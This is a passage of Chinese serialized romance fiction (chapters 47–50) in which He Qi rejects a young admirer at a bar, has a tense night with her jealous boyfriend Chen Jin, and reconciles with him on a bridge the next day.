昏暗的网约车内,何漆靠窗坐着,手里紧紧抓着手机,时不时摁亮屏幕看时间的动作昭示着她内心的忐忑。 这个点天已经完全黑了,路上的车辆依旧川流不息,何漆全身心都在紧张预想中即将发生的事情,并没有注意到车流中是否有那么一辆眼熟的卡宴。 她和方翊第一次见面的酒吧就在同大附近,那是李家佳特 意挑选的地方,环境好、距离近,原本过去用不了多少时间,可此刻的道路却略显拥挤。 何漆对喝酒这件事其实压根不怎么感兴趣,跟李家佳在一块玩儿才是主要目的,因此从没有发生过脱离李家佳独自出现在酒吧里的情况。 今晚算头一回。 她站在酒吧入口处沉默地立了一会儿,身后是宽阔寂静的街道,眼前有形形色色的人在爵士乐中拿着酒杯谈笑,她处于游离的交界地带,不断给自己做心理准备。 左手中指上的戒指被大拇指摩擦着转个不停,大约半分钟后,何漆深吸了口气,垂在身侧的两手倏地握成拳,抬脚往酒吧内走去。 方翊在人群中是显眼的。 何漆在两秒的扫视内认出他坐在吧台处的背影时,不得不这样承认。 转眼已经是开春了,天气渐渐暖和起来,入夜的微凉对年轻人来说不值一提,方翊穿着干净基础的连帽卫衣,指尖放在威士忌的杯沿上,吧台的座椅偏高,他那双难以忽视的长腿依旧点在地上。 昏暗的灯光打在他的侧脸,立体的五官使阴影呈现得像标准素描,他神情低落,唇偶尔轻微开合,似乎在与调酒师闲谈。 何漆收敛发散的思维,尽量镇定地朝他走去。 落座的动静很轻,何漆没有主动开口,甚至把头侧向调酒台的方向,避免立即和方翊有视线上的碰撞。 然而还是能察觉几道视线如有实质般朝她凝过来。 坐在她身侧的方翊,看热闹的调酒师,还有一道…… 何漆猛地朝酒吧入口的方向看去。 奇怪,为什么感觉还有人在盯着自己? 她尚未搞清楚这蜘蛛感应的源头在哪里,耳边就响起方翊的声音:“姐姐……” 何漆只好暂且忽视这突如其来的第六感,默默把脸扭回来。 调酒师忽然奋力甩着手中的摇酒器,冰块和酒液在里面发出碰撞交融的声音,他视线礼貌地低垂下来,却明显已经竖高了耳朵。 何漆还是久久不说话,两人之间的氛围几乎要被爵士乐给吞没,直到调酒师把刚调好的一杯酒推到何漆面前,并用手掌指了指她的旁边:“方先生为您点的。” “谢谢。”何漆习惯性回答,然后伸出左手握住了酒杯。 冰凉的触感。 酒杯的杯壁结着层朦胧的水雾,温热的手指一触上去就被沁湿,戒指被轻轻挤压了一下,和手指里侧贴得更紧。 “姐姐。”方翊又低低地喊了一声。 何漆往肺里吸入长长一口气,那种仿佛乌云一样笼罩在她头顶的第六感不知何时消失了,她无奈地看向方翊。 又有多久没见到这双总在她面前楚楚可怜的眼睛了? 应该是春节之后吧,再没有遇上过了,但有时会像那次斗地主的乌龙事件一样,机缘巧合下由于李家两兄妹而产生匿名的交集。 真的是机缘巧合吗,何漆也不清楚。 那种无言的交集在她看来是有些心照不宣的,方翊知道她存在,接着便有意无意地走漏自己的风声,非要何漆也能捕捉到他的存在。 把人卡在一个不上不下的位置,无视会被当作退让,挑破会让其余人难堪,突兀离开又好像自我意识过剩。 玩这样的把戏还不过瘾,偏要拿这幼稚的事情去找何漆看重的人说道。 “找李秀兰帮你当说客,你觉得自己很有办法是吗?”提起这事儿何漆就有一肚子火,但她并不想在公众场合弄得难堪,语气又平又冷。 方翊却被她漠然挖苦的态度刺到了,无措地辩驳:“我没有……” “不管有没有。”何漆左手转杯子的速度越来越快,戒指一下下打在玻璃制品上,发出不耐的脆响,“你这样做,除了让我对你越来越厌恶,什么也得不到。” 何漆今夜是铁了心来的,再不留情面的话都得说。 年轻男孩的自尊和会不会留下情感创伤她已经顾不上了,再不了结她的生活都要出大乱子。 方翊确实有好半晌没能说出话来,何漆觉得这狠话有用,抬眼观察他的反应想继续下狠料。 可视线中,男孩的表情称不上多么受伤,反而透着股深深的不解,他的视线垂落,死死盯着何漆放在酒杯旁的左手。 对戒和单纯装饰的戒指在外观设计上有所不同,何漆知道这一点,而方翊显然也看出来了。 他无比冒犯地骤然捉住了何漆的手,宛如难以置信般看着那个镶钻的圈环:“戒指?” 何漆想要挣脱,却好似陷入沼泽,越挣扎就陷得越深:“对,和我男朋友的对戒。” 方翊动作极其迅速,毫无预兆地用另一只手捏着了那枚戒指,低声问:“你不是不婚主义者?” 何漆隐隐猜出他要做什么,瞳孔瞬间惊愕地放大。 戒指的圈口与她的手指并不吻合,她眼睁睁看着方翊顺利地将其从自己的中指上一点点褪下来。 放开何漆的手腕,方翊用食指和中指把那枚戒指压在了台面上,唇瓣轻启,近乎蛊惑的话语就从那儿传出,带着点轻微咬牙切齿的意味: “何漆,男人永远会有更好、更年轻的。” 调酒师已经背过身去,不知在忙碌些什么,如幽魂般飘渺轻盈的乐曲还环绕在整个酒吧,身后人群的私语中夹杂着高低错落的笑声。 何漆的脸上终于显露出愠怒。 她不由分说地把那枚戒指夺回来,先是握在掌心里,然后利落地套回自己的中指。 凳脚在地上划出尖锐的声音,何漆站起身,让调酒师给自己这杯结账。 调酒师不停地看眼色,说这杯的账记在方翊头上。 何漆不容置喙地要求分开结,于是为这杯自己没喝过一口的酒买了单。 “对不起。”方翊拉住要走的何漆,慌乱地垂着脑袋道了歉。 何漆抽回手,没有分给他半个眼神:“出去说。” 回去的车已经打好,何漆没有要跟方翊在街边多呆的打算,她判定这个人是说不听的,把他叫出来只不过是不想在酒吧里拉扯。 夜深露重,何漆觉得有点冷,看了眼时间,才发觉竟然已经这么晚了。 方翊就站在她背后半步的地方,看她泼墨般的头发落在肩头,从未有过的无助席卷过来,他预感到这场单恋可能真的要结束了。 “为什么呢?”方翊脸色灰白,仿佛案板上的鱼做最后的挣扎,颤声发问,“他到底是哪里比我好?为什么你总是选择他?” “选?”何漆听到这个词,下意识皱眉重复了一遍,转过身对上方翊的视线,认真分辨,“方翊,你想错了吧,我没有在做选择。” 方翊的双脚顿时好像被两颗长钉贯穿钉在原地,他内心突然强烈地想逃,但却迈不开步子。 他觉得何漆接下来要说万分残忍的话了,而她自己意识不到,因为她认为这是他们之间无需提及的共识,而这恰恰是最残忍的地方。 他的心脏就在这几秒间破开了几个窟窿,漏着凉飕飕的风,这风又把何漆的声音吹得好远。 “我们认识的时间太短了,你不了解我,我也不了解你。” “但你之前有句话说得对,我没有反驳你,你说感情不是算出来的。” “同样的,在我这儿,爱情也不是要仔细权衡的选择。” “陈津……他不是以爱情的选项出现在我的生命里的,他是我爱情唯一的答案,从而让爱情有可能作为我人生的选项。” 迫不得已讲出这种牙酸的话,何漆无可奈何地看向方翊,不确定他能否听懂。 嗯,大概率听懂了,因为他又哭了。 何漆这回没 有再怜惜他的泪水,只是语气弱下来:“我们从一开始就没有可能,方翊,爱情需要忠诚,如果一段关系始于不忠,那么我不会把它看**情。” 车已经到了,手机上亮起司机打来的电话。 面前的男孩似乎连站立的力气都被剥夺了,何漆却只能悲哀地叹气:“抱歉方翊,我们也许是属于不该遇见的那一类人,但你才十八岁,这段不愉快的经历很快就会过去,你会遇见更好的情感。” 街道上不断有车流经过,行人全都只顾自己赶路,头顶的树叶摩擦间发出“沙沙”声响,除此之外,空旷的天地间似乎再没有别的动静。 一辆白色汽车缓缓靠边停下,车灯照亮了周围一片,何漆决绝地转身上车。 小小的车门将两人彻底隔断。 泪珠挂在脸上冰凉得像春夜的雨,方翊僵直地立在原地,静默地看着那辆车逐渐远去,须臾,他低头看了眼手机上的时钟。 还有二十七分钟就要到十二点了,距离他的十九岁,只剩下二十七分钟。 “嘶。” 何漆报完尾号后不小心咬到了舌头,毕竟一口气说了那么多冠冕堂皇的话,遭点报应是应该的。 那座酒吧正在车窗里快速倒退,越来越远、越来越小,直至完全消失在她的视野里。 从哪里开始就在哪里结束,也算有始有终。 何漆疲惫地把脸埋进自己摊开的双手里,沉闷地呼出口气,舌尖有点疼,好像咬破了个小伤口。 她不喜欢聊那些听起来很高尚很正确很哲学的话题,在她看来,这些东西对个人的意义有待考量,但在必要场合吓唬别人还是挺好用的。 就像何云平,他曾经在一场过年的亲戚聚餐里大言不惭地讲了十余条人生金句,赢得满堂喝彩,但这并不影响他是个在酒桌上喝醉了就回家大发酒疯的失败男人。 何漆深吸口气,从自己的手掌里出来,拿出手机给陈津拨打电话。 响铃许久,一直没人接听,直到去电自动挂断。 时间已经接近十二点,难道睡着了? 何漆抬头朝窗外看了看,到家大概还要二十分钟多。 算了,等回去就知道了。 她心里原本是这么想的,可指尖却不受控制般重新点上了那条通话记录,“嘟嘟”声又从扬声器里响起。 十秒钟左右,响铃声结束,取而代之的是机械女声:“抱歉,您拨打的用户正在通话中……” 何漆陡然一怔。 陈津挂了她的电话? 她知道响铃后传来“通话中”的提示就代表着对方主动挂断,所以刚刚那通也是故意不接的? 为什么挂她的电话? 何漆无意识咬着口腔内壁的软肉,捏紧手机,胸腔里的心脏不安地跳着,周围仿佛成了虚无的黑洞。 目光在夜色的各种光点中散开又聚焦,眼前的绿灯即将结束,她着急道:“师傅能麻烦再快一点吗,我有急事。”—— 作者有话说:感谢小天使的营养液~ 第48章 到家的时间比软件预计早了七分钟。 何漆忐忑地打开大门,意料之外,屋内竟然一片漆黑。 难道真的睡下了?挂断她的电话只是个意外? 怀着满腹疑惑,何漆在玄关处轻手轻脚地换了鞋,特意没有开任何一盏灯,打算先摸黑到陈津的卧室看看。 去卧室需要经过客厅,她甫一走近,那种被人盯着的发毛感就又爬上了她的脊背。 顺着直觉猛地看向沙发,何漆霎时头皮一炸。 浓重的黑暗里藏着颜色更深的一道侧影,悄无声息地蛰伏已久,看不清他的神态,却能清晰感受到阴沉的目光,像鬼影。 何漆简直被吓跑了魂,一手按在心口的位置,试探地叫他:“陈津?” 那人没应,剪影却细微地动了动,可能是把脸转了过来。 陈津从前并没有过梦游的睡眠障碍,何漆暂且当他是清醒的,不动声色地往前走了两步:“在家怎么不开灯?” 靠得近了,光影在他的脸上流转开来,犹如从水底缓缓显现,终于能够看清。 陈津眉弓高,眼窝深,五官立体凌厉,窗外幽微的光线打进来,亮面与暗面在他脸上完美切割,使他落入阴影的双眸格外晦涩深邃。 何漆分辨不出他的眼神,下意识调整自己的角度,当视线在近乎只有黑灰的夜色中对上时,何漆被撞得心神一颤。 她微俯的身体僵住,步伐不再向前,无法道明他那浓稠的眼神里含着的都是什么情绪。 脚跟往后蹭了几厘米,何漆缓缓把身体站直,错开目光,再次轻声问:“怎么了?” 陈津忽然站起身,两人尚且隔着两三步的距离,何漆却草木皆兵般慌乱地往后跌了一段。 然而陈津的步子比她大,速度比她快,态度也比她果决,何漆没来及多后退,就被男人扳住了肩膀,紧接着,是铺天盖地的吻落下来。 措手不及,但何漆起先没有拒绝。 她感受到这个侵略性极强的吻里的不安意味,陈津从前很少会表露出这种焦躁,好像要靠争分夺秒的掠夺来证明什么。 她被吻得有些喘不上气,但还是抬起右手搭住陈津的手臂,带有安抚意味地轻轻捏了捏。 结果,陈津吻得更凶了。 唇瓣极为用力地碾压在一起,吸、吮、舔、咬,能用的全都用上,舌头胡乱地搅弄着,霸道地掠夺走她口腔里的每一寸空气。 何漆终于在轻微的窒息中反应过来,这称得上是一场单方面的发泄。 双腿被亲得开始发软,但她知道这其中必然有不对劲的地方,搭在陈津手臂上的右手捏紧又松开,是她在一片混沌的思绪中纠结。 陈津试图用高刺激的亲密行为掩盖什么,但何漆不想这样,于是她没有任由这场暂时师出无名的发泄进行下去。 双手抬起,正要将陈津推开,他却完全料到一般,右手强硬地压住何漆的后腰,让她的身体紧贴住自己,左手没有顺势去抓她的右手,而是略显别扭地绕过去,与她的左手十指紧扣。 “咔嚓。” 金属面摩擦的声音。 指根附近传来冰凉,何漆的整根脊椎好似从上至下窜过一阵电流。 两枚材质相同的戒指紧靠在一起—— 陈津戴了戒指,在和她同样的位置,对戒里的另一枚。 大脑因缺氧与震惊而短路,信息处理变得迟钝缓慢。像是故障了的计算机,一卡一卡地跳出程序结果。 陈津戴了戒指,意味着他打开过那个首饰盒,也就看到了,消失的另一枚,现在就在她的手上。 何漆的左手被紧紧扣着,右手却还抵在陈津的肩头,她指尖有点发麻,小心地蜷缩了一下,感受到陈津衣服的面料,是件衬衣。 他穿着衬衣,不是睡衣。 呼之欲出的真相给了何漆当头一棒,她骤然狠狠推了把陈津。 新鲜通畅的空气霎时间进入她的口鼻,她逃离了陈津的吻,大口大口地喘着气,四肢发软发麻,却没能脱离陈津的怀抱。 陈津用手臂将她的腰缠得更紧,没有继续吻下去,而是低垂着脑袋,固执地想把自己与何漆融为一体。 “陈津。”何漆的胸腔被挤压,让她本就不稳的声线明显地颤抖起来,“你出去过了?” 陈津没有回答,何漆的左手被捏得痛。 “你跟着我,是不是?” “你看见了,是不是?” 何漆在他的沉默中接连发问,虽然没有得到半个声调的回应,但他们都知道,有时候不反驳就是种默认。 陈津一定是看见了什么,她在酒吧里的第六感不是毫无缘由出现的。 可他到底看见了什么?从哪里开始看起?又看见了多少? 这些全都无法确定,唯一可以确定的是,陈津一定没有听到她最后的那番话,不然不会是现在这种反应。 交错起伏的呼吸中,颈侧打着发烫的气息,分不清究竟是谁的喘息愈发沉重,何漆只听到陈津磨在她耳畔的嘶哑嗓音: “宝贝。” 身体里像是产生了爆炸反应,耳垂被湿漉漉地含住,一串带着细密刺痛的吻从耳后印到脖颈,原本就发软的手脚此刻像是被抽走了筋骨。 他们之间从没有过这样的爱称。 何漆被刺激地闭上眼,颅内有一阵阵酥麻的电流之感,整个人滚烫得仿佛要着 火,浓郁的夜色和陈津的呼吸都是燃料。 陈津能感受到她身体每一次的战栗,于是更动情地亲吻抚摸,环着她往后退了两步,跌坐在沙发上。 衣衫就要退去,春夜的寒气以最直接的方式与何漆的皮肤接触,陈津的手竟也是冰的。 她在瑟缩中有一瞬间冷却了理智,没由来的,一秒钟的悲伤淹没了她。 依靠着那一秒钟,何漆忽然迫切地用双臂环住了陈津的脖子,把脸埋进去,闷声喊道:“陈津。” 她贴得太紧,陈津的动作就无法顺畅地继续,他掌在何漆腰上的手放弃了往上推进的动作。 “嗯。”陈津应了她一声,低哑的嗓音中同样有淡淡的忧伤。 何漆的所有思绪被刚刚那把火烧得一干二净,只余下一片灰烬,她却在灰烬里尽力翻找着。 说点什么,她刚刚想说什么来着。 说什么都好,她不想这样。 她真的不想这样…… 但为什么不想呢。 明明离开前还在希望能把事情糊弄过去,眼下虽然第一步失败了,但陈津显然没有要和她抱根问底的意思,跟他稀里糊涂地过完今夜,何漆有九成把握,陈津不会再提起这事。 就像复合前那天,他等在云苑那么久,一副要兴师问罪的架势,但真的从她口中得知是去见方翊以后,他也当作无事发生。 为什么不想再这样了。 大概是因为,对于“得过且过”这句生活信条,何漆并非一名完美的践行者。 总有一些时刻,她无法被驯化的倔强冒头,想要斩断那些叫人疲惫的沉疴,譬如辞职那天,她也曾计划要跟陈津好好聊一聊。 然而这不是轻松的事。 何漆鼓足勇气去撕开一道口子,却可能会被一通突如其来的电话打断,功亏一篑,她此时就沉默着,不知要如何开口。 连情绪都抓不准,到底该愤怒还是心虚。 她迟疑的样子落在陈津眼里简直触目惊心,宛如一张正在书写的判决书,他嗓子发紧,突兀出声:“不分手。” 何漆错愕地抬眼,诧异的眼神让陈津蓦地握紧了她的腰,顿时强硬地想要继续。 何漆被吓到,从他身上弹了起来,几分狼狈地站回地面。 手腕被拉住,陈津在黑暗中用哀求的眼神看她:“我说了,不分手。” 陈津觉得自己或许又做错了,不该跟着何漆出去,看到了也不该让她察觉自己的反常,为什么要一直在客厅里坐到这时候,为什么又这么冲动? 明明有过一次教训了,为什么不长记性? 可是为什么,何漆又为什么……他还有哪里做得不好? “何漆。”陈津开口的声音已经全然变调,粗粝得仿佛喉咙在出血,他想起刚刚何漆的反应,认为她是喜欢那个称呼的,于是又说了一次:“宝贝,为什么?” “到底为什么?” 何漆听得心惊胆跳,一方面不确定陈津是在质问什么,一方面她肯定陈津现在的状态万分不对劲 “陈津。”何漆叫他,自己的大脑却一片空白,“我们……我们明天再聊这件事好吗?” 时间已经是凌晨,周围又漆黑一片,环境和状态都会影响人的思维,就像饥饿会让人暴躁伤感,何漆觉得这不是谈话的好时机,她脑子已经宕机,陈津的样子又指不定会说出什么来。 她希望在一个明亮透气的地点,两人都清醒时候,再说他们之间的事。 “不分手。”陈津可能真的丧失理智了,正执着地向她寻求这份肯定。 “我没有说要分手。”何漆抿唇将心里的一点酸涩压下去,“现在太晚了,你先睡觉好吗,我们今天先分开睡,需要我帮你拿睡衣吗?” 陈津忽然伸长手臂,又把何漆拽到了身前,头靠在她的腹部,闭上眼拥住她。 何漆却一时间有点僵直,直到陈津摸到她和自己同样冰冷的手,才缓缓放开她,低声道:“你去睡吧。” 转身回房前,何漆最后不安地看了陈津一眼,他依旧坐在沙发上,一动不动得像座雕像。 一扇房门分隔了两块空间,他们不知道彼此在想些什么,只是都无法安然入睡- 翌日十一点半,员工们陆陆续续离开工位去吃饭,陈津拿着马克杯起身,徐启航碰巧回来放东西,看见他招呼道:“津哥,一起去食堂?” 陈津举了举手里的杯子,摇头:“我去冲杯咖啡。” “我们这儿茶水间的咖啡机早上坏了,师傅在修,你得去隔壁部门。”徐启航好心提醒完,注意到陈津疲惫的神色,“额,这大黑眼圈,你昨晚没休息好啊。” 陈津点头没多说什么,道了声谢,拿着马克杯走远了。 隔壁部门的茶水间里有两名女员工凑在一起准备沙拉当午餐,她们与陈津互不认识,瞄了一眼走到咖啡机边的男人就收回视线,顾自己聊天。 咖啡液出到一半,又一名男员工走进来,放了食品到微波炉里加热,边等待边与那两名女员工闲聊:“早上桌上的喜糖是谁放的?” “当然是小陈啦。”其中一名女员工回答,“你没看见他最近喜上眉梢的样子?终于成家立业喽。” 男员工点了点头,转而问另一名女员工:“小吕,说起来你那男朋友也谈了挺久了吧,好像进公司的时候就在一起了?不考虑结婚吗?” 被叫小吕的女人顿时把五官都皱起来:“才不结嘞,家里催婚就算了,怎么同事也来催。” 男员工耸肩笑了笑:“随口聊聊而已,别放在心上。” 小吕身边的女人也拍了拍她的肩:“不结就对了,万一有更好的人出现呢?你说是吧。” 小吕顺势跟她闹:“说得对,更帅气多金、更年轻有为、更非我莫属!” 三人笑作一团。 咖啡机已经停止运作,陈津端着杯子在原地站了好一会儿,直到那三人边吃饭边聊起别的话题,陈津才回过神来似的离开。 回到自己的工位,陈津把咖啡放下,一口都还没喝,扫视了一圈周围。 “老吴,有烟吗?” 被点名的老吴愣了好半天才摸出烟盒递出去:“陈工你也抽烟?压力这么大,背着女朋友偷偷抽的吧?” 陈津盯着那烟盒看了两秒,突然拍拍他的肩:“算了,谢谢,我先下去吃饭了。” 今日风很大,天气也凉,刚从公司大楼走出,迎面的风就将陈津的领带吹到了肩头垂挂。 他没管,也没找街边的餐厅吃饭,而是顶着风往对面走去。 马路对面有座江桥,这个点的行人车辆很多,他缓缓在风中行走,上了桥,把两手搭在桥栏杆上,捧着手机看。 置顶的微信没有发来任何消息,电话也没有。 风吹得他脸上失去了温度,指尖僵硬地在屏幕上点了几下,选择拨打电话给何漆。 他把手机放到了耳边,听到何漆设置的响铃音乐,缓缓直起身,打算继续在桥上走走。 又是一阵猛烈的风,江桥两端的树木枝叶都被压弯,陈津不得不眯起眼。 视线变得狭窄而不真实,他恍惚看到这座桥上,就在不远处的面前—— 何漆的长发被拂得凌乱,没系上拉链的外套翻飞着,她一手压住衣襟,一手举起手机查看来电显示—— 作者有话说:来了来了感谢小天使们的营养液~ 第49章 天边泛起鱼肚白时,何漆才在一片混乱的思绪中睡过去。 这一觉睡得很不安稳,断断续续地醒过好几次,但又似乎是在做梦中梦,明明前一秒刚从床上坐起来,下一秒就在梦中惊醒,发现自己还躺着。 来来回回循环了不知多少次,大脑终于累得陷入黑暗。 陈津昨晚似乎没有回房间,是在沙发上过的夜,早上出门时何漆也短暂地惊醒过,但她没有起来,任由自己很快陷入睡眠。 再次睁眼就已经是十点,她筋疲力尽地爬起来,连身上盖着的被子都好像有千钧重,浑身酸软得像夜里跟人打 了架。 何漆拖着无力的身躯洗漱一番,走到厨房想喝杯咖啡醒神,却先看到了放在餐桌上的一份早餐。 一屉生煎包,一份咸豆腐脑,还有碗小馄饨。 都是她爱吃的,但份量未免太多。 何漆没再去冲咖啡,默默走到餐桌边坐下,把打包袋全都解开。 陈津应该是没料到她会睡到这么晚,食物没做保温措施,这会儿已经热气散尽。 不过何漆不挑这个,豆腐脑跟小馄饨的冷热对她来说差别不大,唯有生煎包冷却后皮有点硬,但也无伤大雅。 她连手机都没拿,很专注地吃这顿早饭,大脑里同样没装任何思绪,但却觉得很清透,此时笑一下都像个无忧无虑的傻子。 细嚼慢咽着,三样东西全都吃掉了大半,何漆有点撑,在椅子上伸了个大大的懒腰,身上的不适感已经褪去,吃饱喝足,神清气爽的。 她把垃圾一一收拾好,从厨房出去转了一圈,站在空旷的客厅里想—— 压根没什么大不了的。 一点小事而已,她和陈津能够处理好。 带着这种自信的念头,何漆出发了。 没有提前告知,但何漆知道陈津公司的午休时间,等待有时候挺难熬的,况且是她提出的“明天再聊”,她希望陈津在看到她的消息之后能够第一时间见到她本人,面对面会好一些。 万一他今天中午有事的话,她在附近转一转就好了,下班也不是很久。 司机开到距离陈津公司只剩一座桥的地方时,她忽然叫了停车,从车上下来,她觉得还是给自己和陈津一点缓冲的时间。 今天日头很好,但风比平常大,温度不高,她特意披了件外套。 这件外衣把拉链系上会显得人很呆,所以何漆把它敞着穿,她手里捏着手机,打算上桥后再给陈津打电话。 桥面很宽,中间容车辆行驶,两侧的人行道比较高,头尾的部分还做了台阶。 何漆低头看路,一阶阶踩上去,正下定决心要联系陈津—— 骤然卷起一阵猛烈的江风。 她披散的长发朝侧边扬起,几缕挡在了鼻梁上,敞开的外套被吹得往两边翻开,差点滑落肩头,掌心里的手机同时嗡嗡作响。 好像一整个世界都在朝她扑来。 何漆左手先撩开头发,接着捏紧衣襟压得平整,右手的手机抬到眼前,看到了来电显示上的“陈津”。 她没有犹豫,接通电话放到耳边,然后抬眼朝前看去。 通话里没有声音,他们没有听到彼此,但是眼睛看到了彼此。 这一阵风终于弱了下去,何漆松手后外套没有再翻飞,只有发尾还轻轻地随着风向卷起弧度。 她只愣了两秒,快步朝陈津跑去。 陈津举着电话的手缓缓放下了,整个人还不可思议地怔着,只有目光紧紧跟随着靠近的何漆,盯着她在面前停下。 何漆看他傻站在风里只穿衬衫,皱眉碰了碰他的手背,问:“外套呢?不冷吗?” 面对何漆自然的态度,陈津哑了一瞬,很快回话:“外套放在工位上没带下来,不是很冷。” 说着,他稍稍弯腰,俯身捏住何漆外套拉链的底端,仔细扣合,一下拉到了她胸口的位置。 何漆抿了抿唇,没说这样穿会让她看起来像个呆瓜,而是抬手把陈津肩头挂着的领带拨下来,放在两指间捏了捏。 话语在舌尖悬停了须臾,她终是说出口:“陈津,我认真问你,你昨天看到什么了?” 陈津捏着拉链的手一顿,眼神霎时暗淡下去,按住内心的波涛后摇了摇头,朝她露出一个落寞的笑:“不重要,你吃过饭了吗?我们……” 何漆不满地拽住陈津的领带,打断他的话,迫使他低头对上自己的视线,也制止了他本打算转身的动作。 明亮透气的地点,头脑清醒的两人,这已经是何漆昨夜的理想谈话状态了,桥上虽然会有行人经过,但都匆忙赶着自己的路,即便注意到两人,也只是多看一眼就略过。 除非陈津硬要觉得私密性不够,那他们恐怕只能现在回家,不太现实。 “我们……我们不要再逃避了。”何漆咬着牙说出这句话,陈津的领带末端揉在她的掌心里,不确定会不会变皱,“我先坦白,你听着。” “方翊的事我一直没有主动跟你说过,他的出现似乎令你感到不适、变得敏感,我察觉了,但很多时候我不知道要怎么……” 何漆垂着眸子,咬了咬下嘴唇,难以启齿,又找不到合适的词汇描述,停了片刻,硬着头皮把话说下去。 “我不知道要怎么安抚你,让你不那么、担心。因为他对我来说只是李家佳表弟的朋友,后来帮过我几次忙才熟起来,他确实向我表达过好感,但我也明确拒绝了。没有告诉你是我怕反而会把小事放大。” “昨晚他拜托李家佳的姑姑找到我,说想见一面,我没有别的想法,出门是为了和他说清楚我爱的人只有你。” 耳朵有点烧,最近谈论这种话题的频率实在太高了,何漆还没习惯。 内心的阴私如此坦诚地说出口,承认自己的懦弱与冷酷伤害到了身边人,何漆的五官已经做不出任何表情,火辣辣的,又僵又木。 她心里没底,小心地抬眼观察陈津,害怕这番剖白会令他感到心碎。 然而,陈津的眼眸亮得惊人,眼底似乎蓄了一层薄薄的泪。 “你再说一遍。” “什么?”何漆不解。 “最后那句话,你再说一遍。” 何漆懵了一瞬,随即反应过来,从脖子根部开始冒热气。 她如他所愿地开口: “我爱的人只有你……” 心脏在胸腔里猛烈跳动,猝不及防撞上了另一个,同样砰砰直响的胸膛。 何漆被陈津结结实实地抱住,还没来得及有什么反应,一滴水珠忽然掉在了她的眼角,顺着脸颊迅速滑落。 头顶传来陈津发颤的嗓音:“你为什么不早点告诉我?” 他的手臂存在感极强地覆在她的背上,何漆鼻尖一酸,涌上股汹涌的泪意,强压着情绪,默默把脸埋了过去。 陈津把她抱着更紧,何漆甚至感受不到一点江风,整个世界仿佛只剩下了陈津,他的体温,他的气息,还有他的声音。 “对不起。对不起之前工作太忙,我害怕你嫌我烦,要跟我提分手,所以才总是待在公司。对不起因为看到你跟别的男人关系密切就冲动地伤害了你。对不起……” 陈津有些语无伦次,但努力依照着何漆说的“不要再逃避”进行自我坦白。 何漆闷在他的衬衫里破涕为笑了一声,渐渐从他的话里反应过来一件事:“你当时送我戒指,是因为方翊?” “嗯。”陈津给了肯定的回答。 那天……方翊说要给她送生日礼物,何漆就在附近,亲自去拿时意外被陈津抓包了。 好吧,真不凑巧。 “那在这之前,有天晚上我妈给你打了电话,她说了什么?” 陈津一时没回忆起来有那样一通电话。 何漆却耿耿于怀着,详细描述:“我还问了你是谁的电话,你骗我是同事,但我早看见了,就是我妈的。” 陈津终于记起来:“她关心你、和我们的感情,但你那时候跟你妈妈关系又很紧张,说了你肯定会心烦,我还觉得算是我帮你挡掉了一点压力。” “我以为你给我戒指是跟我妈商量好的。”何漆用额头轻撞了下陈津的肩,表达自己的不满。 耳朵痒痒的,是陈津 亲了亲她:“没有,宝贝。” 何漆在他怀里软了一下,却仍旧觉得不对劲,音量高了些:“你还骗我是不是?把戒指给我是因为方翊,那你为什么买?” “买项链的时候看到,觉得好看就买了。”陈津说,“项链也在抽屉里,你应该发现了,本来没打算让你看到戒指。” 何漆没去分辨其中的真假,毕竟她现在对这枚戒指也不再讳莫如深。 “懒得跟你计较。”她把陈津推开点,情绪平复下来,脸上的温度却还没退干净,扭过头道,“去吃饭吧,你不是还没吃中饭吗。” 陈津说“好”,牵着她往街边走:“宝贝,你想吃什么?” 何漆被他臊得慌,凑过去和他手臂贴着手臂,低声道:“你别一直叫这个。” 陈津平淡地问:“为什么,你不喜欢?” “嗯,我不喜欢。” “骗人,你喜欢。”陈津对这个结论分外肯定,因为是他亲自试验出来的。 何漆有点毛:“那也不要一直叫!” “习惯就好了,我很喜欢,你也叫我。”陈津摸了摸牵在自己掌心里的何漆的手。 何漆:“你今天脸皮有点厚。” “你也叫我。” “叫什么叫,吃饭。” “叫我。” “你看这家……” “叫我。” 何漆蓦地在一家餐厅前站定,深吸了口气,一身呆瓜穿着,满脸正气、大义凛然道: “宝宝,我们吃这家行吗?” 陈津笑起来:“听你的。”—— 作者有话说:感谢小天使们的营养液~ 所有人都且给我等着吧我姐夫任督二脉打通了[墨镜] 第50章 这一条街倒是繁华,好几家网红餐厅毗邻,工作日都得预约排队。 何漆选了家生意没那么火爆的西餐厅,估计大部分菜品都是预制的,上菜速度很快,不过何漆本就图省时,对此表示很满意。 吃到一半,放在桌上的手机来了个视频通话,何漆低头看了眼,是李家佳发起的,她干脆接了。 双方的画面亮起,何漆这儿只有她半个额头和餐厅的天花板,李家佳把通话画面当镜子,用食指扶了扶刚夹好的睫毛:“你这是在哪?不在家啊?” “在外面吃中饭。”何漆的手机还平放在桌子上,她往摄像头的位置凑了凑,短暂露出全脸。 “你一个人?”李家佳打了个大大的哈欠,像是刚睡醒不久,身上穿的还是睡衣,对着梳妆镜看自己刚化好的妆容。 “不是。”何漆拿起手机反转了一下,也不管角度对不对,随意地让陈津在摇晃的镜头里露个面,立刻又把手机反转回来平放回去,叉了块牛排,“跟陈津,他午休。” “嗬。”还真是意料之外,李家佳人都一下坐直了,“这么甜蜜?” 何漆没做评价,抬眼瞄了眼对面的陈津,他倒是嘴角微扬的。 李家佳轻咳了两声,把话题拉回自己,好像接下来的事儿很郑重很神秘似的发出预告:“我这儿呢,也有个情况要向您汇报。” “说。”何漆言简意赅,拿起手边的杯子喝果汁。 “我打算和魏科年结婚了。” “咳、咳咳!!” 何漆猝不及防被果汁呛到,陈津连抽了好几张纸巾给她。 擦干净嘴边的果汁,何漆一把抓起手机,终于舍得让自己的正脸出现在屏幕里,直视李家佳:“你说点我能听懂的话。” “诶呀你不要激动。”李家佳隔空朝她压了压手,示意她镇定,“还没有要领证呢。但我俩相亲本来就是奔着结婚去的,接触下来我觉得都挺好的,不过毕竟时间太短,所以我们决定去旅游。” “旅游?” “对。”李家佳点头,“我们打算先在国内玩一圈,然后再去国外玩一圈,要是回来还觉得不错,那就考虑结婚的事,反之,要是路上遇到了不能调和的问题,说明以后多半也过不下去,就散伙。” “你想好了?”何漆不太放心地问。 “我想好了。”李家佳坚定答。 倒也不失为一个好方法,再者李家佳显然是来告知她而非和她商量的,何漆便随她去了,叮嘱道:“你自己注意安全。” 李家佳应了一声,神情突然变得有些狗腿,既不挂视频,也不说话,就那么贼兮兮地盯着何漆。 “干什么?”何漆问她。 李家佳就等她这句话,顺势答:“正好姐夫也在,旅行的事儿你们有没有兴趣一起来?人多热闹嘛!” 何漆已经习惯了她有时候不切实际的胡闹,摇头道:“陈津有工作,而且我也不喜欢长时间的旅行,你知道的,这对我来说太累了。” 